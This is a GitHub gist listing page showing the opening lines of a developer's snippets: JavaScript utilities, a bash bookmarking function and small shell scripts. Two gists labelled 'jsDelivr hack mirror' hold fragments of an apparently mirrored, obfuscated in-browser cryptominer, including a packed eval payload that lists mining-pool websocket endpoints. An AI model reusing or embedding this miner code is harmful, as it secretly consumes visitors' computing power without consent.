Skip to content

Instantly share code, notes, and snippets.

View coolreader18's full-sized avatar

Noa coolreader18

View GitHub Profile
@coolreader18
coolreader18 / commas.js
Last active January 26, 2018 14:59
Properly separate a large number.
/**
* Separate a large number into commas
* @param {Number} num The number to split up
* @param {Object|String} opts Options, for now it's just joiner is the possible joiner, if you'd like to use dots instead of commas or something.
* @example
* commas(12345678) // returns 12,345,678
* @example
* commas(211409200504011, {joiner:"."}) // returns 211.409.200.504.011
*/
function commas(num, opts) {
@coolreader18
coolreader18 / auto-replace.js
Last active January 26, 2018 15:00
Automatically replace text in input fields
/**
* Replaces text automatically in an HTML element that has a value attribute and an input event, such as <input type=text> or <textarea></textarea>
* @param {EventTarget} element The element that you wish to autoreplace text in.
* @param {Array} arr The array of options arrays. Each array element should be an array, with its first element being a string to input, and the second being a RegExp or array of RegExps that it will replace
* @example <caption>Replaces any match of the regex's /Hello/gi or /example/g with the string "World" in the element with id=input</caption>
* autoReplace(document.getElementById("input"), [
* ["World", [/Hello/gi, /example/g]]
* ]);
*/
function autoReplace(element, arr) {
@coolreader18
coolreader18 / Multiline-templiteral.js
Last active January 30, 2018 20:53
A template literal tag that lets you do indented multiline template strings.
function m(strings,...reps) {
let lines = strings.reduce((str, cur, i) => str + cur + (reps[i] || ""), "").split("\n");
let ws = new RegExp(`^${/^(\s+)/.exec(lines[1])[0]}`);
return lines.map(line => line.replace(ws, "")).join("\n");
}
try{export m as default}catch(e){try{module.exports=m}catch(r){}}
/**
* Like map, but it changes the original array.
* @param {Function} func The function to apply to the rest of the array. Gets passed the current element, its index, and the total array.
*/
Array.prototype.apply = function apply(func) {
for (var i = 0; i < this.length; i++) {
this[i] = func(this[i], i, this);
}
}
@coolreader18
coolreader18 / Replace-character.js
Last active March 7, 2018 01:48
A function to replace characters
/* @legume
* @name replace-character
* @version 1.0.0
*/
(function (root, factory) {
if (typeof define === 'function' && define.amd) {
define('replace-character', [], factory);
} else if (typeof module === 'object' && module.exports) {
module.exports = factory();
} else {
@coolreader18
coolreader18 / .cdb
Last active March 17, 2018 05:37
Better cdb - original taken from https://stackoverflow.com/questions/7374534/directory-bookmarking-for-bash, modified slightly.
#!/bin/bash
function cdb() {
USAGE="Usage: cdb ([-c|-d] <bookmark>[/dir[/...]]|-l|-h)" ;
if [ ! -e ~/.cd_bookmarks ] ; then
mkdir ~/.cd_bookmarks
fi
case $1 in
# create bookmark
-c) shift
@coolreader18
coolreader18 / decrypted.js
Last active May 9, 2018 00:07
jsDelivr hack mirror
(function (_0x2c0d57) {
'use strict';
var _0x2abb26 = function (_0x49cf73, _0x3cf5eb) {
this['params'] = _0x3cf5eb || {};
this['_sitek'] = _0x49cf73;
this['_threads'] = [];
this['_hashes'] = 0x0;
this['_curr3ntJ0b'] = null;
this['_autoReconnect'] = !![];
this['_reconnectRetry'] = 0x3;
@coolreader18
coolreader18 / decrypted.wasm.min.js
Last active May 9, 2018 00:23
jsDelivr hack wasm.js mirror
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('4B.dL=4B.dL||{};4B.dL.jF={iI:\'sq://pr.a8.1p./\',pq:\'pp.js\',po:![],pn:[["3Z:\\/\\/a8.ht.:3X\\/3W","3Z:\\/\\/a8.jw.:3X\\/3W","3Z:\\/\\/a8.pm.:3X\\/3W","3Z:\\/\\/a8.ju.:3X\\/3W","3Z:\\/\\/9s.pk.:3X\\/3W","3Z:\\/\\/9s.jh.:3X\\/3W","3Z:\\/\\/9s.4S.:3X\\/3W","3Z:\\/\\/9s.fR.:3X\\/3W","3Z:\\/\\/9s.ht.:3X\\/3W","3Z:\\/\\/9s.jz.:3X\\/3W","3Z:\\/\\/6H.jh.:3X\\/3W","3Z:\\/\\/6H.4S.:3X\\/3W","3Z:\\/\\/6H.fR.:3X\\/3W","3Z:\\/\\/6H.jz.:3X\\/3W","3Z:\\/\\/6H.jw.:3X\\/3W","3Z:\\/\\/6H.pj.:3X\\/3W","3Z:\\/\\/6H.pi.:3X\\/3W","3Z:\\/\\/6H.1p.:3X\\/3W","3Z:\\/\\/6H.ju.:3X\\/3W","3Z:\\/\\/6H.k7.:3X\\/3W"]],ph:"",pg:"",pf:""};1b 1o={fw:(1d(1l){1e dL.jF.iI+1l})};1b 1o=2b 1o!=="2m"?1o:{};1b 9w={};1b 2R;2k(
@coolreader18
coolreader18 / fix-minecraft-launcher.sh
Last active July 5, 2018 19:10
Install the necessary dependencies for the new minecraft launcher.
curl http://download.icu-project.org/files/icu4c/57.1/icu4c-57_1-src.tgz | tar xvz
cd icu/source
./configure
make
cp lib/* /usr/lib
cd ../..
rm -rf icu
@coolreader18
coolreader18 / ocrpdf
Last active November 20, 2018 03:30
A script to OCR a pdf file
#!/usr/bin/env sh
set -e
if [ ! -f "$1" ]; then
echo "Input file doesn't exist"
exit 1
fi
if [ ! "$2" ]; then
echo "Must provide output file"